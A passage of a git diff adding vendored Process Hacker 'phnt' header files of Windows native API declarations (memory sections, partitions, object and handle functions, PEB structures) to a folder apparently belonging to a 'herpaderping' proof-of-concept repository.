VmInformationClass, + _In_ ULONG_PTR NumberOfEntries, + _In_reads_ (NumberOfEntries) PMEMORY_RANGE_ENTRY VirtualAddresses, + _In_reads_bytes_ (VmInformationLength) PVOID VmInformation, + _In_ ULONG VmInformationLength + ); + +#endif + +#define MAP_PROCESS 1 +#define MAP_SYSTEM 2 + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtLockVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG MapType + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnlockVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG MapType + ); + +#endif + +// Sections + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle + ); + +#if (PHNT_VERSION >= PHNT_REDSTONE5) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateSectionEx( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle, + _In_ PMEM_EXTENDED_PARAMETER ExtendedParameters, + _In_ ULONG ExtendedParameterCount + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtMapViewOfSection( + _In_ HANDLE SectionHandle, + _In_ HANDLE ProcessHandle, + _Inout_ _At_(*BaseAddress, _Readable_bytes_(*ViewSize) _Writable_bytes_(*ViewSize) _Post_readable_byte_size_(*ViewSize)) PVOID *BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T CommitSize, + _Inout_opt_ PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T ViewSize, + _In_ SECTION_INHERIT InheritDisposition, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnmapViewOfSection( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress + ); + +#if (PHNT_VERSION >= PHNT_WIN8) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtUnmapViewOfSectionEx( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ ULONG Flags + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtExtendSection( + _In_ HANDLE SectionHandle, + _Inout_ PLARGE_INTEGER NewSectionSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySection( + _In_ HANDLE SectionHandle, + _In_ SECTION_INFORMATION_CLASS SectionInformationClass, + _Out_writes_bytes_(SectionInformationLength) PVOID SectionInformation, + _In_ SIZE_T SectionInformationLength, + _Out_opt_ PSIZE_T ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAreMappedFilesTheSame( + _In_ PVOID File1MappedAsAnImage, + _In_ PVOID File2MappedAsFile + ); + +#endif + +// Partitions + +#ifndef MEMORY_PARTITION_QUERY_ACCESS +#define MEMORY_PARTITION_QUERY_ACCESS 0x0001 +#define MEMORY_PARTITION_MODIFY_ACCESS 0x0002 +#define MEMORY_PARTITION_ALL_ACCESS \ + (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \ + MEMORY_PARTITION_QUERY_ACCESS | MEMORY_PARTITION_MODIFY_ACCESS) +#endif + +// private +typedef enum _MEMORY_PARTITION_INFORMATION_CLASS +{ + SystemMemoryPartitionInformation, // q: MEMORY_PARTITION_CONFIGURATION_INFORMATION + SystemMemoryPartitionMoveMemory, // s: MEMORY_PARTITION_TRANSFER_INFORMATION + SystemMemoryPartitionAddPagefile, // s: MEMORY_PARTITION_PAGEFILE_INFORMATION + SystemMemoryPartitionCombineMemory, // q; s: MEMORY_PARTITION_PAGE_COMBINE_INFORMATION + SystemMemoryPartitionInitialAddMemory, // q; s: MEMORY_PARTITION_INITIAL_ADD_INFORMATION + SystemMemoryPartitionGetMemoryEvents, // MEMORY_PARTITION_MEMORY_EVENTS_INFORMATION // since REDSTONE2 + SystemMemoryPartitionMax +} MEMORY_PARTITION_INFORMATION_CLASS; + +// private +typedef struct _MEMORY_PARTITION_CONFIGURATION_INFORMATION +{ + ULONG Flags; + ULONG NumaNode; + ULONG Channel; + ULONG NumberOfNumaNodes; + ULONG_PTR ResidentAvailablePages; + ULONG_PTR CommittedPages; + ULONG_PTR CommitLimit; + ULONG_PTR PeakCommitment; + ULONG_PTR TotalNumberOfPages; + ULONG_PTR AvailablePages; + ULONG_PTR ZeroPages; + ULONG_PTR FreePages; + ULONG_PTR StandbyPages; + ULONG_PTR StandbyPageCountByPriority[8]; // since REDSTONE2 + ULONG_PTR RepurposedPagesByPriority[8]; + ULONG_PTR MaximumCommitLimit; + ULONG_PTR DonatedPagesToPartitions; + ULONG PartitionId; // since REDSTONE3 +} MEMORY_PARTITION_CONFIGURATION_INFORMATION, *PMEMORY_PARTITION_CONFIGURATION_INFORMATION; + +// private +typedef struct _MEMORY_PARTITION_TRANSFER_INFORMATION +{ + ULONG_PTR NumberOfPages; + ULONG NumaNode; + ULONG Flags; +} MEMORY_PARTITION_TRANSFER_INFORMATION, *PMEMORY_PARTITION_TRANSFER_INFORMATION; + +// private +typedef struct _MEMORY_PARTITION_PAGEFILE_INFORMATION +{ + UNICODE_STRING PageFileName; + LARGE_INTEGER MinimumSize; + LARGE_INTEGER MaximumSize; + ULONG Flags; +} MEMORY_PARTITION_PAGEFILE_INFORMATION, *PMEMORY_PARTITION_PAGEFILE_INFORMATION; + +// private +typedef struct _MEMORY_PARTITION_PAGE_COMBINE_INFORMATION +{ + HANDLE StopHandle; + ULONG Flags; + ULONG_PTR TotalNumberOfPages; +} MEMORY_PARTITION_PAGE_COMBINE_INFORMATION, *PMEMORY_PARTITION_PAGE_COMBINE_INFORMATION; + +// private +typedef struct _MEMORY_PARTITION_PAGE_RANGE +{ + ULONG_PTR StartPage; + ULONG_PTR NumberOfPages; +} MEMORY_PARTITION_PAGE_RANGE, *PMEMORY_PARTITION_PAGE_RANGE; + +// private +typedef struct _MEMORY_PARTITION_INITIAL_ADD_INFORMATION +{ + ULONG Flags; + ULONG NumberOfRanges; + ULONG_PTR NumberOfPagesAdded; + MEMORY_PARTITION_PAGE_RANGE PartitionRanges[1]; +} MEMORY_PARTITION_INITIAL_ADD_INFORMATION, *PMEMORY_PARTITION_INITIAL_ADD_INFORMATION; + +// private +typedef struct _MEMORY_PARTITION_MEMORY_EVENTS_INFORMATION +{ + union + { + struct + { + ULONG CommitEvents : 1; + ULONG Spare : 31; + }; + ULONG AllFlags; + } Flags; + + ULONG HandleAttributes; + ULONG DesiredAccess; + HANDLE LowCommitCondition; // \KernelObjects\LowCommitCondition + HANDLE HighCommitCondition; // \KernelObjects\HighCommitCondition + HANDLE MaximumCommitCondition; // \KernelObjects\MaximumCommitCondition +} MEMORY_PARTITION_MEMORY_EVENTS_INFORMATION, *PMEMORY_PARTITION_MEMORY_EVENTS_INFORMATION; + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +#if (PHNT_VERSION >= PHNT_THRESHOLD) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreatePartition( + _Out_ PHANDLE PartitionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG PreferredNode + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenPartition( + _Out_ PHANDLE PartitionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtManagePartition( + _In_ MEMORY_PARTITION_INFORMATION_CLASS PartitionInformationClass, + _In_ PVOID PartitionInformation, + _In_ ULONG PartitionInformationLength + ); + +#endif + +#endif + +// User physical pages + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtMapUserPhysicalPages( + _In_ PVOID VirtualAddress, + _In_ ULONG_PTR NumberOfPages, + _In_reads_opt_(NumberOfPages) PULONG_PTR UserPfnArray + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtMapUserPhysicalPagesScatter( + _In_reads_(NumberOfPages) PVOID *VirtualAddresses, + _In_ ULONG_PTR NumberOfPages, + _In_reads_opt_(NumberOfPages) PULONG_PTR UserPfnArray + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateUserPhysicalPages( + _In_ HANDLE ProcessHandle, + _Inout_ PULONG_PTR NumberOfPages, + _Out_writes_(*NumberOfPages) PULONG_PTR UserPfnArray + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFreeUserPhysicalPages( + _In_ HANDLE ProcessHandle, + _Inout_ PULONG_PTR NumberOfPages, + _In_reads_(*NumberOfPages) PULONG_PTR UserPfnArray + ); + +#endif + +// Sessions + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenSession( + _Out_ PHANDLE SessionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); +#endif + +#endif + +// Misc. + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetWriteWatch( + _In_ HANDLE ProcessHandle, + _In_ ULONG Flags, + _In_ PVOID BaseAddress, + _In_ SIZE_T RegionSize, + _Out_writes_(*EntriesInUserAddressArray) PVOID *UserAddressArray, + _Inout_ PULONG_PTR EntriesInUserAddressArray, + _Out_ PULONG Granularity + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtResetWriteWatch( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_ SIZE_T RegionSize + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreatePagingFile( + _In_ PUNICODE_STRING PageFileName, + _In_ PLARGE_INTEGER MinimumSize, + _In_ PLARGE_INTEGER MaximumSize, + _In_ ULONG Priority + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushInstructionCache( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ SIZE_T Length + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushWriteBuffer( + VOID + ); + +#endif + +// Enclave support + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateEnclave( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T Size, + _In_ SIZE_T InitialCommitment, + _In_ ULONG EnclaveType, + _In_reads_bytes_(EnclaveInformationLength) PVOID EnclaveInformation, + _In_ ULONG EnclaveInformationLength, + _Out_opt_ PULONG EnclaveError + ); + +NTSYSAPI +NTSTATUS +NTAPI +NtLoadEnclaveData( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _In_ ULONG Protect, + _In_reads_bytes_(PageInformationLength) PVOID PageInformation, + _In_ ULONG PageInformationLength, + _Out_opt_ PSIZE_T NumberOfBytesWritten, + _Out_opt_ PULONG EnclaveError + ); + +NTSYSAPI +NTSTATUS +NTAPI +NtInitializeEnclave( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_reads_bytes_(EnclaveInformationLength) PVOID EnclaveInformation, + _In_ ULONG EnclaveInformationLength, + _Out_opt_ PULONG EnclaveError + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +NtTerminateEnclave( + _In_ PVOID BaseAddress, + _In_ BOOLEAN WaitForThread + ); + +#if (PHNT_MODE != PHNT_MODE_KERNEL) +// rev +NTSYSAPI +NTSTATUS +NTAPI +NtCallEnclave( + _In_ PENCLAVE_ROUTINE Routine, + _In_ PVOID Parameter, + _In_ BOOLEAN WaitForThread, + _Out_opt_ PVOID *ReturnValue + ); +#endif + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntnls.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntnls.h new file mode 100644 index 00000000..f07f0f1d --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntnls.h @@ -0,0 +1,47 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTNLS_H +#define _NTNLS_H + +#define MAXIMUM_LEADBYTES 12 + +typedef struct _CPTABLEINFO +{ + USHORT CodePage; + USHORT MaximumCharacterSize; + USHORT DefaultChar; + USHORT UniDefaultChar; + USHORT TransDefaultChar; + USHORT TransUniDefaultChar; + USHORT DBCSCodePage; + UCHAR LeadByte[MAXIMUM_LEADBYTES]; + PUSHORT MultiByteTable; + PVOID WideCharTable; + PUSHORT DBCSRanges; + PUSHORT DBCSOffsets; +} CPTABLEINFO, *PCPTABLEINFO; + +typedef struct _NLSTABLEINFO +{ + CPTABLEINFO OemTableInfo; + CPTABLEINFO AnsiTableInfo; + PUSHORT UpperCaseTable; + PUSHORT LowerCaseTable; +} NLSTABLEINFO, *PNLSTABLEINFO; + +#if (PHNT_MODE != PHNT_MODE_KERNEL) +NTSYSAPI USHORT NlsAnsiCodePage; +NTSYSAPI BOOLEAN NlsMbCodePageTag; +NTSYSAPI BOOLEAN NlsMbOemCodePageTag; +#endif + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntobapi.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntobapi.h new file mode 100644 index 00000000..fe25888d --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntobapi.h @@ -0,0 +1,385 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTOBAPI_H +#define _NTOBAPI_H + +#if (PHNT_MODE != PHNT_MODE_KERNEL) +#define OBJECT_TYPE_CREATE 0x0001 +#define OBJECT_TYPE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) +#endif + +#if (PHNT_MODE != PHNT_MODE_KERNEL) +#define DIRECTORY_QUERY 0x0001 +#define DIRECTORY_TRAVERSE 0x0002 +#define DIRECTORY_CREATE_OBJECT 0x0004 +#define DIRECTORY_CREATE_SUBDIRECTORY 0x0008 +#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xf) +#endif + +#if (PHNT_MODE != PHNT_MODE_KERNEL) +#define SYMBOLIC_LINK_QUERY 0x0001 +#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) +#endif + +#define OBJ_PROTECT_CLOSE 0x00000001 +#ifndef OBJ_INHERIT +#define OBJ_INHERIT 0x00000002 +#endif +#define OBJ_AUDIT_OBJECT_CLOSE 0x00000004 + +#if (PHNT_MODE != PHNT_MODE_KERNEL) +typedef enum _OBJECT_INFORMATION_CLASS +{ + ObjectBasicInformation, // OBJECT_BASIC_INFORMATION + ObjectNameInformation, // OBJECT_NAME_INFORMATION + ObjectTypeInformation, // OBJECT_TYPE_INFORMATION + ObjectTypesInformation, // OBJECT_TYPES_INFORMATION + ObjectHandleFlagInformation, // OBJECT_HANDLE_FLAG_INFORMATION + ObjectSessionInformation, + ObjectSessionObjectInformation, + MaxObjectInfoClass +} OBJECT_INFORMATION_CLASS; +#else +#define ObjectBasicInformation 0 +#define ObjectNameInformation 1 +#define ObjectTypesInformation 3 +#define ObjectHandleFlagInformation 4 +#define ObjectSessionInformation 5 +#define ObjectSessionObjectInformation 6 +#endif + +typedef struct _OBJECT_BASIC_INFORMATION +{ + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG Reserved[3]; + ULONG NameInfoSize; + ULONG TypeInfoSize; + ULONG SecurityDescriptorSize; + LARGE_INTEGER CreationTime; +} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; + +#if (PHNT_MODE != PHNT_MODE_KERNEL) +typedef struct _OBJECT_NAME_INFORMATION +{ + UNICODE_STRING Name; +} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; +#endif + +typedef struct _OBJECT_TYPE_INFORMATION +{ + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + UCHAR TypeIndex; // since WINBLUE + CHAR ReservedByte; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; + +typedef struct _OBJECT_TYPES_INFORMATION +{ + ULONG NumberOfTypes; +} OBJECT_TYPES_INFORMATION, *POBJECT_TYPES_INFORMATION; + +typedef struct _OBJECT_HANDLE_FLAG_INFORMATION +{ + BOOLEAN Inherit; + BOOLEAN ProtectFromClose; +} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION; + +// Objects, handles + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryObject( + _In_opt_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationObject( + _In_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _In_reads_bytes_(ObjectInformationLength) PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength + ); + +#define DUPLICATE_CLOSE_SOURCE 0x00000001 +#define DUPLICATE_SAME_ACCESS 0x00000002 +#define DUPLICATE_SAME_ATTRIBUTES 0x00000004 + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDuplicateObject( + _In_ HANDLE SourceProcessHandle, + _In_ HANDLE SourceHandle, + _In_opt_ HANDLE TargetProcessHandle, + _Out_opt_ PHANDLE TargetHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _In_ ULONG Options + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtMakeTemporaryObject( + _In_ HANDLE Handle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtMakePermanentObject( + _In_ HANDLE Handle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSignalAndWaitForSingleObject( + _In_ HANDLE SignalHandle, + _In_ HANDLE WaitHandle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForSingleObject( + _In_ HANDLE Handle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForMultipleObjects( + _In_ ULONG Count, + _In_reads_(Count) HANDLE Handles[], + _In_ WAIT_TYPE WaitType, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); + +#if (PHNT_VERSION >= PHNT_WS03) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitForMultipleObjects32( + _In_ ULONG Count, + _In_reads_(Count) LONG Handles[], + _In_ WAIT_TYPE WaitType, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySecurityObject( + _In_ HANDLE Handle, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_writes_bytes_opt_(Length) PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ULONG Length, + _Out_ PULONG LengthNeeded + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtClose( + _In_ HANDLE Handle + ); + +#if (PHNT_VERSION >= PHNT_THRESHOLD) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCompareObjects( + _In_ HANDLE FirstObjectHandle, + _In_ HANDLE SecondObjectHandle + ); +#endif + +#endif + +// Directory objects + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +#if (PHNT_VERSION >= PHNT_WIN8) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateDirectoryObjectEx( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ShadowDirectoryHandle, + _In_ ULONG Flags + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +typedef struct _OBJECT_DIRECTORY_INFORMATION +{ + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDirectoryObject( + _In_ HANDLE DirectoryHandle, + _Out_writes_bytes_opt_(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_ BOOLEAN RestartScan, + _Inout_ PULONG Context, + _Out_opt_ PULONG ReturnLength + ); + +#endif + +// Private namespaces + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +#if (PHNT_VERSION >= PHNT_VISTA) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreatePrivateNamespace( + _Out_ PHANDLE NamespaceHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PVOID BoundaryDescriptor + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenPrivateNamespace( + _Out_ PHANDLE NamespaceHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PVOID BoundaryDescriptor + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeletePrivateNamespace( + _In_ HANDLE NamespaceHandle + ); + +#endif + +#endif + +// Symbolic links + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PUNICODE_STRING LinkTarget + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySymbolicLinkObject( + _In_ HANDLE LinkHandle, + _Inout_ PUNICODE_STRING LinkTarget, + _Out_opt_ PULONG ReturnedLength + ); + +#endif + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntpebteb.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntpebteb.h new file mode 100644 index 00000000..747d3c47 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntpebteb.h @@ -0,0 +1,434 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTPEBTEB_H +#define _NTPEBTEB_H + +typedef struct _RTL_USER_PROCESS_PARAMETERS *PRTL_USER_PROCESS_PARAMETERS; +typedef struct _RTL_CRITICAL_SECTION *PRTL_CRITICAL_SECTION; + +// private +typedef struct _ACTIVATION_CONTEXT_STACK +{ + struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME* ActiveFrame; + LIST_ENTRY FrameListCache; + ULONG Flags; + ULONG NextCookieSequenceNumber; + ULONG StackId; +} ACTIVATION_CONTEXT_STACK, *PACTIVATION_CONTEXT_STACK; + +// private +typedef struct _API_SET_NAMESPACE +{ + ULONG Version; + ULONG Size; + ULONG Flags; + ULONG Count; + ULONG EntryOffset; + ULONG HashOffset; + ULONG HashFactor; +} API_SET_NAMESPACE, *PAPI_SET_NAMESPACE; + +// private +typedef struct _API_SET_HASH_ENTRY +{ + ULONG Hash; + ULONG Index; +} API_SET_HASH_ENTRY, *PAPI_SET_HASH_ENTRY; + +// private +typedef struct _API_SET_NAMESPACE_ENTRY +{ + ULONG Flags; + ULONG NameOffset; + ULONG NameLength; + ULONG HashedLength; + ULONG ValueOffset; + ULONG ValueCount; +} API_SET_NAMESPACE_ENTRY, *PAPI_SET_NAMESPACE_ENTRY; + +// private +typedef struct _API_SET_VALUE_ENTRY +{ + ULONG Flags; + ULONG NameOffset; + ULONG NameLength; + ULONG ValueOffset; + ULONG ValueLength; +} API_SET_VALUE_ENTRY, *PAPI_SET_VALUE_ENTRY; + +// symbols +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN IsPackagedProcess : 1; + BOOLEAN IsAppContainer : 1; + BOOLEAN IsProtectedProcessLight : 1; + BOOLEAN IsLongPathAwareProcess : 1; + }; + }; + + HANDLE Mutant; + + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + PVOID IFEOKey; + PSLIST_HEADER AtlThunkSListPtr; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ProcessPreviouslyThrottled : 1; + ULONG ProcessCurrentlyThrottled : 1; + ULONG ProcessImagesHotPatched : 1; // REDSTONE5 + ULONG ReservedBits0 : 24; + }; + }; + union + { + PVOID KernelCallbackTable; + PVOID UserSharedInfoPtr; + }; + ULONG SystemReserved; + ULONG AtlThunkSListPtr32; + PAPI_SET_NAMESPACE ApiSetMap; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[2]; + + PVOID ReadOnlySharedMemoryBase; + PVOID SharedData; // HotpatchInformation + PVOID *ReadOnlyStaticServerData; + + PVOID AnsiCodePageData; // PCPTABLEINFO + PVOID OemCodePageData; // PCPTABLEINFO + PVOID UnicodeCaseTableData; // PNLSTABLEINFO + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + ULARGE_INTEGER CriticalSectionTimeout; + SIZE_T HeapSegmentReserve; + SIZE_T HeapSegmentCommit; + SIZE_T HeapDeCommitTotalFreeThreshold; + SIZE_T HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID *ProcessHeaps; // PHEAP + + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + ULONG GdiDCAttributeList; + + 